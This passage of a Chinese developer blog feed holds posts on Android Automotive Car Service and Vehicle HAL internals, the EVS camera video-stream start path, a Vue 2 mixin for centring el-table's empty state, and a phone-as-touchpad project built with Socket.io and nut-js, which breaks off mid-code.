public String getWritePermission(int propId)
public String getReadPermission(int propId)

// 属性配置信息
public List<CarPropertyConfig> getPropertyList(@NonNull ArraySet<Integer> propertyIds) 
public List<CarPropertyConfig> getPropertyList()

2.2.2 类图

image.png

2.3 VmsSubscriberManager类

作为与车辆管理系统交互的一个重要组件,负责处理订阅相关的请求和事件。它可能通过特定的API与VehicleHAL(硬件抽象层)或其他系统服务进行通信,以实现车辆状态信息的获取和控制。用户也可以自定义发布客户端实现进程间的事件交互。

2.3.1 使用

//实例获取
(VmsSubscriberManager) mCar. getCarManager(Car.VMS_SUBSCRIBER_SERVICE)

//最新信息
public byte[] getPublisherInfo(int publisherId)
// 可订阅消息
public VmsAvailableLayers getAvailableLayers()
// 设置消息订阅回调以及执行线程
public void setVmsSubscriberClientCallback(Executor,VmsSubscriberClientCallback)
//清除订阅信息
public void clearVmsSubscriberClientCallback()
// 订阅所有消息
public void startMonitoring()
// 停止订阅所有消息
public void stopMonitoring()
//订阅特定消息
public void subscribe(@NonNull VmsLayer layer)
public void subscribe(@NonNull VmsLayer layer, int publisherId)
//解除订阅特定消息
public void unsubscribe(@NonNull VmsLayer layer)
public void unsubscribe(@NonNull VmsLayer layer, int publisherId)

2.3.2 类图

image.png

2.3.3 VmsPublisherClientService

发布客户端Service基类,需要实现下面两个方法

  • onVmsPublisherServiceReady:发布准备完成,可以调用publish方法进行发布消息
  • onVmsSubscriptionChange:消息订阅状态变化通知

主要使用方法

//设置提供哪些可被订阅消息
public final void setLayersOffering(@NonNull VmsLayersOffering offering)

//发布消息
public final void publish(@NonNull VmsLayer layer, int publisherId, byte[] payload)

//获取当前订阅状态
public final VmsSubscriptionState getSubscriptions()

3 Car Service

3.1 CarService类

Service类,以bind方式提供ICar实现;并对接Vehicle HAL,获取Ivehicle实现,来完成具体硬件信号交互;

image.png

IVehicle binder获取

private static IVehicle getVehicle() {
    try {
        return android.hardware.automotive.vehicle.V2_0.IVehicle.getService();
    } catch (RemoteException e) {
        Log.e(CarLog.TAG_SERVICE, "Failed to get IVehicle service", e);
    } catch (NoSuchElementException e) {
        Log.e(CarLog.TAG_SERVICE, "IVehicle service not registered yet");
    }
    return null;
}

IVehicle服务死亡代理处理

  1. 若配置允许,则杀死Car Service
  2. 不杀死,则进行一定时间内重新连接获取
  3. 获取失败则崩溃重启,重连成功,则ICarImpl重置Ivehicle对象
@Override
public void serviceDied(long cookie) {
    if (RESTART_CAR_SERVICE_WHEN_VHAL_CRASH) {
        Log.wtf(CarLog.TAG_SERVICE, "***Vehicle HAL died. Car service will restart***");
        Process.killProcess(Process.myPid());
        return;
    }

    Log.wtf(CarLog.TAG_SERVICE, "***Vehicle HAL died.***");

    try {
        mVehicle.unlinkToDeath(this);
    } catch (RemoteException e) {
        Log.e(CarLog.TAG_SERVICE, "Failed to unlinkToDeath", e);  // Log and continue.
    }
    mVehicle = null;

    mVhalCrashTracker.crashDetected();

    Log.i(CarLog.TAG_SERVICE, "Trying to reconnect to Vehicle HAL: " +
            mVehicleInterfaceName);
    mVehicle = getVehicleWithTimeout(WAIT_FOR_VEHICLE_HAL_TIMEOUT_MS);
    if (mVehicle == null) {
        throw new IllegalStateException("Failed to reconnect to Vehicle HAL");
    }

    linkToDeath(mVehicle, this);

    Log.i(CarLog.TAG_SERVICE, "Notifying car service Vehicle HAL reconnected...");
    mICarImpl.vehicleHalReconnected(mVehicle);
}

3.2 ICarImpl

ICar实现,跨进程调用入口,与Car对接,并获取Vehicle HAL层服务句柄;

生命周期依据Service生命周期而定

  • init方法,对应Service onCreate
  • Release方法,对应Service onDestory
  • vehicleHalReconnected方法: Vehicle HAL服务重连成功通知
  • getCarService方法:提供特定功能binder实现

image.png

3.3 VehicleHal

实现了Vehicale HAL回调,其内部对不同的硬件信号按照功能等进行了分类,并进行信号订阅管理与分发

  • 普通属性: PropertyHalService桥接类
  • 电源属性:PowerHalService桥接类
  • 输入事件属性:InputHalService桥接类
  • 订阅发布:VmsHalService桥接类
  • 诊断事件属性:DiagnosticHalService桥接类

HalClient类才是对Vehicle HAL层封装的直接实现类,并增加了属性获取设置的重试机制

3.4 CarPropertyService

CarPropertyService是与Vehicle HAL、Car API交互的经典实现;着重对接的是Car API,PropertyHalService类实现了Vehicle HAL的桥接(包括处理属性管控)

image.png

与Car API桥接处理

  • 属性设置、获取
  • 属性监听、分发
  • 跨进程死亡检测

与Vehical HAL桥接处理

  • 属性设置、获取
  • 属性监听

PropertyHalServiceIds类: 管理着处理属性以及属性读写权限

3.5 VMS发布-订阅

发布订阅框架

  • 发布服务端,在Car Service中, 见2.3.1
  • 订阅服务端,在Car Service中,见2.3.3
  • 发布客服端,仅仅与硬件信号相关的在Car service中
  • 订阅客户端,仅仅与硬件信号相关的在Car service中

image.png

实现主要依赖下面几个类

  • VmsClientManager:订阅客户端死亡检测、根据配置进行发布客户端收集与死亡检测
  • VmsBrokerService:订阅发布信息变化通知与缓存
  • VmsSubscriberService: 订阅服务端,框架订阅入口
  • VmsPublisherService: 发布服务端,对接发布客户端
  • VmsHalService:硬件信号消息的订阅发布客户端封装,(信号属性唯一,为VehicleProperty.VEHICLE_MAP_SERVICE)

自动客户端收集配置,在XML,分下图中两个属性

image.png

4 Vehicle HAL

IVehicle服务是Android Automotive在硬件抽象层的一个核心native服务,用于处理和车辆相关的功能,并为系统提供获取车身信息以及设置相关状态的接口‌。IVehicle服务作为Android Automotive的核心组件,位于硬件抽象层,是连接车辆硬件和系统框架的重要桥梁。它提供了一系列接口,使得上层应用能够方便地获取车辆状态信息,并能够对车辆进行一定的控制操作。

采用HIDL定义,主要定义如右图:

image.png

实现类图:

image.png

  • VehicleService: 进程启动入口
  • VehicleHalManager:IVehicle服务实现
  • VehiclePropertyStore:配置管理、数据缓存
  • SubscriptionManager:订阅信息存储;
  • VehicleEmulator:交换数据读取写入调度与数据桥接;
  • EmulatedVehicleHal:数据事件调度管理;
  • CommConn: 交换数据读写的基类

报文属性配置信息以及默认值,在DefaultConfig.h中

// 每个属性的信息结构
struct ConfigDeclaration {
    VehiclePropConfig config;

    /* This value will be used as an initial value for the property. If this field is specified for
     * property that supports multiple areas then it will be used for all areas unless particular
     * area is overridden in initialAreaValue field. */
    VehiclePropValue::RawValue initialValue;
    /* Use initialAreaValues if it is necessary to specify different values per each area. */
    std::map<int32_t, VehiclePropValue::RawValue> initialAreaValues;
};

// 此属性为定义的变量
const ConfigDeclaration kVehicleProperties[] {
}

5 总结

这里讲解了MCU报文整个通讯流程;在常见Car模式使用中,也是基本只使用这一部分的;作为Car模式中MCU数据开发维护,主要有以下工作

  • Vehicle层,实现CommConn类,完成IPC连接以及读写解析
  • 报文ID配置,Vehicle层,Car service层
  • 报文ID值类型定义,以及是否为APP和Vehicle进行桥接转换

如果在此文章中您有所收获,请给作者一个鼓励,点个赞,谢谢支持

技术变化都很快,但基础技术、理论知识永远都是那些;作者希望在余后的生活中,对常用技术点进行基础知识分享;如果你觉得文章写的不错,请给予关注和点赞;如果文章存在错误,也请多多指教!

by 众少成多积小致巨 at January 24, 2025 10:41 AM

Android车载应用之EvsCameraPreview源码分析(四)

0 引言 在Android车载应用之EvsCameraPreview源码分析(三)中通过Log信息分析了Evs应用的组件和启动流程。本篇文章将具体分析“开启视频传输功能”这一过程进行分析,下面是相关代码:

    case STREAM_STATE_VISIBLE:
        // Starts a video stream
        if (mEvsManager != null) {
            int result = mEvsManager.startVideoStream(CarEvsManager.SERVICE_TYPE_REARVIEW,
                    mSessionToken, mCallbackExecutor, mStreamHandler);
           if (result != ERROR_NONE) {
                Log.e(TAG, "Failed to start a video stream, error = " + result);
           } else {
                needToUpdateState = true;
           }
           } else {
                Log.w(TAG, "EvsManager is not available");
           }
        break;

从上面的代码中可以看到,调用了EvsManager的startVideoStream函数,该函数最终调用的是CarEvsService的startVideoStream。

1 CarEvsService

CarEvsService中的startVideoStream函数代码如下:

public @CarEvsError int startVideoStream(@CarEvsServiceType int type, @Nullable IBinder token,
            @NonNull ICarEvsStreamCallback callback) {
        CarServiceUtils.assertPermission(mContext, Car.PERMISSION_USE_CAR_EVS_CAMERA);
        Objects.requireNonNull(callback);

        int priority;
        if (isSessionToken(token)) {
            mHandler.removeCallbacks(mActivityRequestTimeoutRunnable);
            priority = REQUEST_PRIORITY_HIGH;
        } else {
            priority = REQUEST_PRIORITY_LOW;
        }

        return mStateEngine.execute(priority, SERVICE_STATE_ACTIVE, type, token, callback);
    }

最后执行了mStateEngine的execute方法,它的部分代码如下:

switch (destination) {
            case SERVICE_STATE_UNAVAILABLE:
                result = handleTransitionToUnavailableLocked();
                break;

            case SERVICE_STATE_INACTIVE:
                result = handleTransitionToInactiveLocked(priority, service, callback);
                break;

            case SERVICE_STATE_REQUESTED:
                result = handleTransitionToRequestedLocked(priority, service);
                break;

            case SERVICE_STATE_ACTIVE:
                result = handleTransitionToActiveLocked(priority, service, token, callback);
                break;

            default:
                throw new IllegalStateException(
                        "CarEvsService is in the unknown state, " + previousState);
        }

这里会进入SERVICE_STATE_ACTIVE,执行handleTransitionToActiveLocked方法,代码如下:

private @CarEvsError int handleTransitionToActiveLocked(int priority, int service,
                IBinder token, ICarEvsStreamCallback callback) {

            @CarEvsError int result = ERROR_NONE;
            switch (mState) {
                case SERVICE_STATE_UNAVAILABLE:
                    // We do not have a valid connection to the Extended View System service.
                    return ERROR_UNAVAILABLE;

                case SERVICE_STATE_INACTIVE:
                    // CarEvsService receives a low priority request to start a video stream.
                    result = startServiceAndVideoStream(service, callback);
                    if (result != ERROR_NONE) {
                        return result;
                    }
                    break;

                case SERVICE_STATE_REQUESTED:
                    // CarEvsService is reserved for higher priority clients.
                    if (priority == REQUEST_PRIORITY_HIGH && !isSessionToken(token)) {
                        // Declines a request with an expired token.
                        return ERROR_BUSY;
                    }

                    result = startServiceAndVideoStream(service, callback);
                    if (result != ERROR_NONE) {
                        return result;
                    }
                    break;

                case SERVICE_STATE_ACTIVE:
                    // CarEvsManager will transfer an active video stream to a new client with a
                    // higher or equal priority.
                    if (priority < mLastRequestPriority) {
                        Slogf.i(TAG_EVS, "Declines a service request with a lower priority.");
                        break;
                    }

                    if (mStreamCallback != null) {
                        // keep old reference for Runnable.
                        ICarEvsStreamCallback previousCallback = mStreamCallback;
                        mStreamCallback = null;
                        mHandler.post(() -> notifyStreamStopped(previousCallback));
                    }

                    mStreamCallback = callback;
                    break;

                default:
                    throw new IllegalStateException("CarEvsService is in the unknown state.");
            }

            mState = SERVICE_STATE_ACTIVE;
            mServiceType = service;
            mLastRequestPriority = priority;
            return ERROR_NONE;
        }

这段代码会根据当前状态mState来进入不同的case。在Evs应用中,首先会请求显示CarEvsCameraPreviewActivity,这个时候会从INACTIVE状态转换为REQUESTED状态。所以在开启视频传输前,mState应该是REQUESTED状态。因此接下来会执行startServiceAndVideoStream函数:

    private @CarEvsError int startServiceAndVideoStream(
            @CarEvsServiceType int service, ICarEvsStreamCallback callback) {
        if (!startService(service)) {
            return ERROR_UNAVAILABLE;
        }

        mStreamCallback = callback;
        linkToDeathStreamCallbackLocked();

        if (!mHalWrapper.requestToStartVideoStream()) {
            Slogf.e(TAG_EVS, "Failed to start a video stream");
            mStreamCallback = null;
            return ERROR_UNAVAILABLE;
        }

        return ERROR_NONE;
    }

紧接着这里会执行startService函数,然后会调用mHalWrapper的requestToStartVideoStream开始正式请求开启视频流传输。startService函数的代码如下:

private boolean startService(@CarEvsServiceType int type) {
        if (type == CarEvsManager.SERVICE_TYPE_SURROUNDVIEW) {
            // TODO(b/179029031): Removes below when Surround View service is integrated.
            Slogf.e(TAG_EVS, "Surround view is not supported yet.");
            return false;
        }

        if (!mHalWrapper.connectToHalServiceIfNecessary()) {
            Slogf.e(TAG_EVS, "Failed to connect to EVS service");
            return false;
        }

        String cameraId;
        if (mUseCameraIdOverride) {
            cameraId = mCameraIdOverride;
        } else {
            cameraId = mContext.getString(R.string.config_evsRearviewCameraId);
        }

        if (!mHalWrapper.openCamera(cameraId)) {
            Slogf.e(TAG_EVS, "Failed to open a target camera device");
            return false;
        }

        return true;
    }

可以看到startService函数内部主要是通过mHalWrapper来调用openCamera方法,以此来打开摄像机。以上分析也可以知道,mHalWrapper是真正执行这些工作的类。下面将重点分析mHalWrapper的类型EvsHalWrapper。

2 EvsHalWrapper

EvsHalWrapper 是一个用于与EVS HAL交互的抽象类,提供了基本的HAL操作接口和默认实现。它的类定义代码如下:

public abstract class EvsHalWrapper {
    /** Callback for events from HAL */
    public interface HalEventCallback {
        /** EVS stream event handler called after a native handler */
        void onHalEvent(int eventType);

        /** EVS frame handler called after a native handler */
        void onFrameEvent(int id, HardwareBuffer buffer);

        /** EVS service death handler called after a native handler */
        void onHalDeath();
    }

    /** Initialize HAL */
    public boolean init() {
        return false;
    }

    /** Release HAL */
    public void release() {
    }

    /** is connected to HAL */
    public boolean isConnected() {
        return false;
    }

    /** Attempts to connect to the HAL service if it has not done yet */
    public boolean connectToHalServiceIfNecessary() {
        return false;
    }

    /** Attempts to disconnect from the HAL service */
    public void disconnectFromHalService() {
    }

    /** Attempts to open a target camera device */
    public boolean openCamera(String cameraId) {
        return false;
    }

    /** Requests to close a target camera device */
    public void closeCamera() {
    }

    /** Requests to start a video stream */
    public boolean requestToStartVideoStream() {
        return false;
    }

    /** Requests to stop a video stream */
    public void requestToStopVideoStream() {
    }

    /** Request to return an used buffer */
    public void doneWithFrame(int bufferId) {
    }
}

mHalWrapper是在CarEvsService的构造函数中通过createHalWrapper方法创建出来的,代码如下:

    static EvsHalWrapper createHalWrapper(Context builtinContext,
            EvsHalWrapper.HalEventCallback callback) {
        try {
            Class helperClass = builtinContext.getClassLoader().loadClass(
                    BuiltinPackageDependency.EVS_HAL_WRAPPER_CLASS);
            Constructor constructor = helperClass.getConstructor(
                    new Class[]{EvsHalWrapper.HalEventCallback.class});
            return (EvsHalWrapper) constructor.newInstance(callback);
        } catch (Exception e) {
            throw new RuntimeException(
                    "Cannot load class:" + BuiltinPackageDependency.EVS_HAL_WRAPPER_CLASS, e);
        }
    }

该函数通过反射机制将EvsHalWrapperImpl类实例化(EVS_HAL_WRAPPER_CLASS指向的就是com.android.car.evs.EvsHalWrapperImpl)。

3 EvsHalWrapperImpl

EvsHalWrapperImpl 是 EvsHalWrapper 的具体实现,通过 JNI 与 HAL 交互。

public final class EvsHalWrapperImpl extends EvsHalWrapper {


    /**
     * Because of its dependency on FMQ type, android.hardware.automotive.evs@1.1 interface does
     * not support Java backend.  Therefore, all hwbinder transactions happen in native methods
     * declared below.
     */

    static {
        System.loadLibrary("carservicejni");
    }

    private final EvsHalWrapper.HalEventCallback mCallback;

    private final Object mLock = new Object();

    /** Stores a service handle initialized in native methods */
    @GuardedBy("mLock")
    private long mNativeEvsServiceObj;

    /** Constructor */
    public EvsHalWrapperImpl(EvsHalWrapper.HalEventCallback callback) {
        super();
        mCallback = callback;
    }

    /**
     * Create a {@code EvsHalWrapperImpl} object with a given JNI library that implements native
     * methods.
     */
    @VisibleForTesting
    static EvsHalWrapperImpl create(EvsHalWrapper.HalEventCallback callback,
            String jniLibraryName) {
        System.loadLibrary(jniLibraryName);
        return new EvsHalWrapperImpl(callback);
    }

    @Override
    public boolean init() {
        long handle = nativeCreateServiceHandle();
        if (handle == 0) {
            return false;
        }
        synchronized (mLock) {
            mNativeEvsServiceObj = handle;
        }
        return true;
    }

    @Override
    public void release() {
        long handle;
        synchronized (mLock) {
            handle = mNativeEvsServiceObj;
            mNativeEvsServiceObj = 0;
        }
        if (handle == 0) {
            return;
        }
        nativeDestroyServiceHandle(handle);
    }

    @Override
    public boolean isConnected() {
        return getNativeHandle() != 0;
    }

    @Override
    public boolean connectToHalServiceIfNecessary() {
        if (!isConnected() && !init()) {
            return false;
        }

        return nativeConnectToHalServiceIfNecessary(getNativeHandle());
    }

    @Override
    public void disconnectFromHalService() {
        nativeDisconnectFromHalService(getNativeHandle());
    }

    @Override
    public boolean openCamera(String cameraId) {
        return nativeOpenCamera(getNativeHandle(), cameraId);
    }

    @Override
    public void closeCamera() {
        nativeCloseCamera(getNativeHandle());
    }

    @Override
    public boolean requestToStartVideoStream() {
        return nativeRequestToStartVideoStream(getNativeHandle());
    }

    @Override
    public void requestToStopVideoStream() {
        nativeRequestToStopVideoStream(getNativeHandle());
    }

    @Override
    public void doneWithFrame(int bufferId) {
        nativeDoneWithFrame(getNativeHandle(), bufferId);
    }

    @VisibleForTesting
    boolean setServiceHandle(long handleToUse) {
        if (handleToUse == 0) {
            return false;
        }

        long handleToDestroy;
        synchronized (mLock) {
            handleToDestroy = mNativeEvsServiceObj;
            mNativeEvsServiceObj = handleToUse;
        }

        nativeDestroyServiceHandle(handleToDestroy);
        return true;
    }

    @VisibleForTesting
    long createServiceHandleForTest() {
        return nativeCreateServiceHandleForTest();
    }


    @VisibleForTesting
    void triggerBinderDied() {
        nativeTriggerBinderDied(getNativeHandle());
    }

    private long getNativeHandle() {
        synchronized (mLock) {
            return mNativeEvsServiceObj;
        }
    }

    /** EVS stream event handler called after a native handler */
    private void postNativeEventHandler(int eventType) {
        mCallback.onHalEvent(eventType);
    }

    /** EVS frame handler called after a native handler */
    private void postNativeFrameHandler(int id, HardwareBuffer buffer) {
        mCallback.onFrameEvent(id, buffer);
    }

    /** EVS service death handler called after a native handler */
    private void postNativeDeathHandler() {
        mCallback.onHalDeath();
    }

    /** Attempts to connect to the HAL service if it has not done yet */
    private native boolean nativeConnectToHalServiceIfNecessary(long handle);

    /** Attempts to disconnect from the HAL service */
    private native void nativeDisconnectFromHalService(long handle);

    /** Attempts to open a target camera device */
    private native boolean nativeOpenCamera(long handle, String cameraId);

    /** Requests to close a target camera device */
    private native void nativeCloseCamera(long handle);

    /** Requests to start a video stream */
    private native boolean nativeRequestToStartVideoStream(long handle);

    /** Requests to stop a video stream */
    private native void nativeRequestToStopVideoStream(long handle);

    /** Request to return an used buffer */
    private native void nativeDoneWithFrame(long handle, int bufferId);

    /** Trigger a onBinderDied callback for tests */
    private native void nativeTriggerBinderDied(long handle);

    /** Creates a EVS service handle */
    private static native long nativeCreateServiceHandle();

    /** Creates a EVS service handle for tests */
    private static native long nativeCreateServiceHandleForTest();

    /** Destroys a EVS service handle */
    private static native void nativeDestroyServiceHandle(long handle);
}

它内部函数实现几乎都是native函数,因此需要找到它的具体实现。这指向了CarEvsService.cpp,这是jni调用的具体的cpp函数。

4 CarEvsService.cpp

CarEvsService.cpp里面是 EvsHalWrapperImpl 的 JNI 实现。具体看看openCamera和startVideoStream函数:

jboolean openCamera(JNIEnv* env, jobject /*thiz*/, jlong handle, jstring cameraId) {
    EvsServiceContext* ctxt = reinterpret_cast<EvsServiceContext*>(handle);
    if (!ctxt) {
        LOG(ERROR) << __FUNCTION__ << ": EVS service context is not available.";
        return JNI_FALSE;
    }

    // Attempts to open the target camera device
    const char* id = env->GetStringUTFChars(cameraId, NULL);
    if (!id || !ctxt->openCamera(id)) {
        LOG(ERROR) << "Failed to open a camera device";
        return JNI_FALSE;
    }

    env->ReleaseStringUTFChars(cameraId, id);
    return JNI_TRUE;
}

jboolean startVideoStream(JNIEnv* /*env*/, jobject /*thiz*/, jlong handle) {
    EvsServiceContext* ctxt = reinterpret_cast<EvsServiceContext*>(handle);
    if (!ctxt) {
        LOG(ERROR) << __FUNCTION__ << ": EVS service context is not available.";
        return JNI_FALSE;
    }

    return ctxt->startVideoStream() ? JNI_TRUE : JNI_FALSE;
}

可以看到无论是打开摄像头还是进行视频流传输,都还需要借助EvsServiceContext类来实现。

5 EvsServiceContext类

EvsServiceContext 是 EVS 服务的核心实现类,封装了与 EVS 服务的交互逻辑。这里首先看一下EvsServiceContext 类的openCamera函数:

bool EvsServiceContext::openCamera(const char* id) {
    if (!isAvailable()) {
        LOG(ERROR) << "Has not connected to EVS service yet.";
        return false;
    }

    if (isCameraOpened()) {
        if (mCameraIdInUse == id) {
            LOG(DEBUG) << "Camera " << id << " is has opened already.";
            return true;
        }

        // Close a current camera device.
        if (!mServiceFactory->getService()->closeCamera(mCamera).isOk()) {
            LOG(WARNING) << "Failed to close a current camera device";
        }
    }

    auto it = std::find_if(mCameraList.begin(), mCameraList.end(),
                           [target = std::string(id)](const CameraDesc& desc) {
                               return target == desc.id;
                           });
    if (it == mCameraList.end()) {
        LOG(ERROR) << id << " is not available";
        return false;
    }

    std::vector<Stream> availableStreams;
    {
        std::lock_guard<std::mutex> lock(mLock);
        mServiceFactory->getService()->getStreamList(*it, &availableStreams);

        Stream streamConfig = selectStreamConfiguration(availableStreams);
        std::shared_ptr<IEvsCamera> camObj;
        if (!mServiceFactory->getService()->openCamera(id, streamConfig, &camObj).isOk() ||
            !camObj) {
            LOG(ERROR) << "Failed to open a camera " << id;
            return false;
        }

        std::shared_ptr<StreamHandler> streamHandler =
                ::ndk::SharedRefBase::make<StreamHandler>(camObj, this,
                                                          EvsServiceContext::kMaxNumFramesInFlight);
        if (!streamHandler) {
            LOG(ERROR) << "Failed to initialize a stream streamHandler.";
            if (!mServiceFactory->getService()->closeCamera(camObj).isOk()) {
                LOG(ERROR) << "Failed to close a temporary camera device";
            }
            return false;
        }

        mCamera = std::move(camObj);
        mStreamHandler = std::move(streamHandler);
        mCameraIdInUse = id;
    }

    return true;
}

从代码中可以看到,这里是通过mServiceFactory->getService()->openCamera来打开摄像机。mServiceFactory通过获取IEvsEnumerator服务来完成打开摄像机功能。因此Framework层的所有操作最终都指向了EvsEnumerator类,而在上一篇文章中我们也具体分析了这个类。

这段代码在后面创建了一个streamHandler,它用来管理视频流,完成视频流的开启和暂停传输等工作。

6 总结

通过上面的分析,可以总结出下面这张图片:

image.png

by FerdinandHu at January 24, 2025 09:13 AM

juejin frontend

在 Vue 2 项目中实现 el-table 无数据时空组件左右居中,并且不跟随表格横向滚动条滚动

先说一说我遇到的问题

elementui的el-table组件在没有数据时会展示一个空数据组件,我们可以使用empty-text来控制空数据时展示的文本,也可以用#empty插槽来展示自定义的空数据组件

针对空数据组件的位置,element-ui的设计是将空数据组件在表格内部宽度居中显示,而不是依据table整体的宽度进行居中,所以有个很尴尬的点就是...表格出现横向滚动条时,滚动表格,空数据组件也会跟随滚动... image.png 如上图,不是居中看着就很难受,那产品和UI看了就不满意,提需求了,改!不仅要改,还要全局改!(悄咪咪吐槽一下,我也是才来的,怎么之前不知道要改,项目都三四年了堆了这么多史突然要说改)

我一看项目代码好家伙,el-table没封组件,项目中所有用到表格的都是直接用el-table,不仅如此,空状态组件也是五花八门,有文本的,有图片的,有图片加按钮的,这意味着没办法通过常规CSS全局改动样式来实现居中,总不可能每个表格改一下吧...

image.png

单独改是不可能单独改的,下面就说说我的思路吧

需求分析

我们需要实现以下功能:

  1. 当表格数据为空时,将空样式居中显示。
  2. 空组件样式不随横向滚动条滚动。
  3. 将功能全局化,自动应用到项目中的所有 el-table,而无需在每个组件中手动引入。

实现思路

  1. 编写一个mixin,用js动态控制table的空组件。

    el-table的空组件是放在el-table__body-wrapper下的,所以才会受滚动条影响,不能将原组件设置绝对定位,因为高度会塌陷。

    我的思路是通过js克隆空组件的dom元素,将克隆的元素放到原位置用于占位,将原有的dom拿出来放到table下面,用绝对定位固定到中间,这一步替换操作是为了让居中的元素依然保留之前的交互,复制的元素是不保留绑定事件的

  2. 使用vue的Vue.extend方法拓展el-table组件,再全局注册覆盖el-table

实现步骤

1. 编写功能逻辑的 mixin

以下是一个实现上述功能的 mixin完整代码,主要逻辑包括:

  • 监听 tableData 的变化。
  • 当表格数据为空时,克隆空组件dom,将原组件移到table下,克隆的组件移到原位置
  • 修改空样式的 DOM 结构和样式,实现居中。
  • 清理旧的空样式节点,避免性能问题。
export default {
  data() {
    return {
      tableEmptyDomClone: null,
      tableEmptyDom: null
    };
  },
  mounted() {
    this.$watch(
      "tableData",
      (newVal) => {
        if (newVal && newVal.length === 0) {
          this.handleTableEmpty();
        } else {
          if (this.tableEmptyDom) {
            if (this.tableEmptyDom.parentNode.contains(this.tableEmptyDom)) {
              this.tableEmptyDom.parentNode.removeChild(this.tableEmptyDom);
            }
            this.tableEmptyDom = null;
          }
        }
      },
      { deep: true }
    );
  },
  methods: {
    // 处理 table 数据为空时的样式
    handleTableEmpty() {
      const tableDom = this.$el;
      const tableEmptyBlock = tableDom.querySelector(".el-table__empty-block");

      // 移除旧的 empty 元素
      if (this.tableEmptyDomClone && tableEmptyBlock.contains(this.tableEmptyDomClone)) {
        tableEmptyBlock.removeChild(this.tableEmptyDomClone);
      }
      if (this.tableEmptyDom && tableDom.contains(this.tableEmptyDom)) {
        tableDom.removeChild(this.tableEmptyDom);
      }

      // 获取空元素并克隆
      this.tableEmptyDom = this.$el.querySelector(".el-table__empty-text");
      this.tableEmptyDomClone = this.tableEmptyDom.cloneNode(true);

      // 将 tableEmptyDomClone 放到原有位置中占位
      if (tableEmptyBlock.contains(this.tableEmptyDom)) {
        tableEmptyBlock.removeChild(this.tableEmptyDom);
      }
      tableEmptyBlock.appendChild(this.tableEmptyDomClone);

      const tableHeaderDom = this.$el.querySelector(".el-table__header-wrapper");
      const tableHeaderRect = tableHeaderDom.getBoundingClientRect();

      // 设置空样式的样式属性
      this.tableEmptyDom.style.position = "absolute";
      this.tableEmptyDom.style.top = `${tableHeaderRect.height}px`;
      this.tableEmptyDom.style.left = "50%";
      this.tableEmptyDom.style.transform = "translateX(-50%)";
      this.tableEmptyDom.style.backgroundColor = "#fff";
      this.tableEmptyDom.style.zIndex = "5";
      this.tableEmptyDom.style.width = "100%";
      this.tableEmptyDom.style.textAlign = 'center'
      this.tableEmptyDom.classList.add("table-empty-mixin");

      // 插入到 tableDom 中
      tableDom.appendChild(this.tableEmptyDom);
    }
  }
};

2. 使用全局扩展组件

使用 Vue 的 Vue.extend 方法对 el-table 组件进行扩展,并全局注册修改后的组件。

import Vue from "vue";
import { Table } from "element-ui";
import tableMixin from "./path/to/your/mixin"; // 引入上面的 mixin

// 扩展 el-table 组件
const ExtendedTable = Vue.extend(Table);

// 将功能逻辑混入到 el-table
ExtendedTable.mixin(tableMixin);

// 全局注册扩展后的 el-table
Vue.component("el-table", ExtendedTable);

以上代码将在项目中所有使用 el-table 的地方自动应用 tableMixin 的功能,无需手动引入。


效果展示

拖动滚动条也会一直居中,点击按钮也会正常触发事件

image.png

image.png


结语

本人菜鸟,技术还不成熟,简单分享一下希望能帮到大家,各位如果有更好的方案或者对我的方案有改进建议的欢迎提出。年前放假前一天在公司摸鱼写点博客哈哈~祝大家过个好年! image.png

by 每天都想着怎么摸鱼的前端菜鸟 at January 24, 2025 09:12 AM

juejin freebie

解锁手机新玩法:用Trae实现手机当电脑触控板!

我正在参加Trae「超级体验官」创意实践征文, 本文所使用的 Trae 免费下载链接: www.trae.ai/?utm_source…

前言


我想买个 Mac 的妙控板,但价格太贵了。每次摸着手机丝滑的电容屏,都会想如果手机能变成触摸板该多好。于是我在网上查了一下,果然有类似的解决方案:github.com/huoyijie/mo… 打算用 Trae(还好我是 Mac 可以用 手动狗头😂) 自己写个版本试试。

首先声明,这不是广告文,只是想参与征文投稿,并实事求是地体验一下 Trae。此前我在日常开发中高强度使用过 Cursor,因此本篇文章会记录我对 Trae 的使用体验,并将其与 Cursor 做一些对比。文章内容会尽量客观真实,不吹不黑,给出实际评价。

开始制作

1.创建基础模版

根据 socket.io 的教程创建一个 node 项目加一个 index.html,然后设置访问/路由的时候显示这个 html 页面

import { fileURLToPath } from 'node:url';
import { dirname, join } from 'node:path';

const app = express();

const __dirname = dirname(fileURLToPath(import.meta.url));

app.get('/', (req, res) => {
  res.sendFile(join(__dirname, 'index.html'));
});

2.首先创建一个纯黑色的触控板界面

<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>Touch Pad</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            width: 100vw;
            height: 100vh;
            background: #000;
            overflow: hidden;
            touch-action: none;
        }
        #touchpad {
            width: 100%;
            height: 100%;
            position: absolute;
            top: 0;
            left: 0;
        }
    </style>
</head>
<body>
    <div id="touchpad"></div>
</body>
</html>

3. 主要逻辑

让 AI 完成 Hammer.js 获取用户触点坐标,并通过 Socket.io 传递到 Node.js,再进行下一步任务将收集到的坐标点信息传递给 @nut-tree/nut-js 控制电脑的鼠标。

AI很好的完成了这个任务,实现了基础的代码,现在直接可以在手机上滑动控制电脑上的鼠标了,还让他帮忙实现了下 vite --host 显示电脑 ip:端口号 的效果。下面放上截图与完整代码块。

image.png
<body>
    <div id="touchpad"></div>
    <script src="/socket.io/socket.io.js"></script>
    <script src="https://hammerjs.github.io/dist/hammer.min.js"></script>
    <script>
        const socket = io();
        const touchpad = document.getElementById('touchpad');

        let mc = new Hammer.Manager(touchpad)

        mc.add(new Hammer.Pan({ direction: Hammer.DIRECTION_ALL }))
        mc.add(new Hammer.Tap({ event: 'tap', pointers: 1 }))
        mc.add(new Hammer.Tap({ event: 'righttap', pointers: 2, taps: 1 }))
        mc.get('tap').requireFailure('righttap')
        mc.add(new Hammer.Press({}))

        mc.on('panstart panmove', (ev) => {
            const touchData = {
                type: ev.type,
                x: ev.center.x,
                y: ev.center.y,
                deltaX: ev.deltaX,
                deltaY: ev.deltaY
            };
            socket.emit('touch', touchData);
        }).on('tap', (ev) => {
            socket.emit('touch', { type: 'tap' });
        })
    </script>
</body>
const app = express();
const server = createServer(app);
const io = new Server(server);

const __dirname = dirname(fileURLToPath(import.meta.url));

app.get('/', (req, res) => {
  res.sendFile(join(__dirname, 'index.html'));
});

// 记录初始触摸位置和当前鼠标位置
let initialTouchPos = null;
let currentMousePos = null;

io.on('connection', (socket) => {
  socket.on('touch', async (data) => {
    try {
      if (data.type === 'panstart') {
        initialTouchPos = { x: data.x, y: data.y };
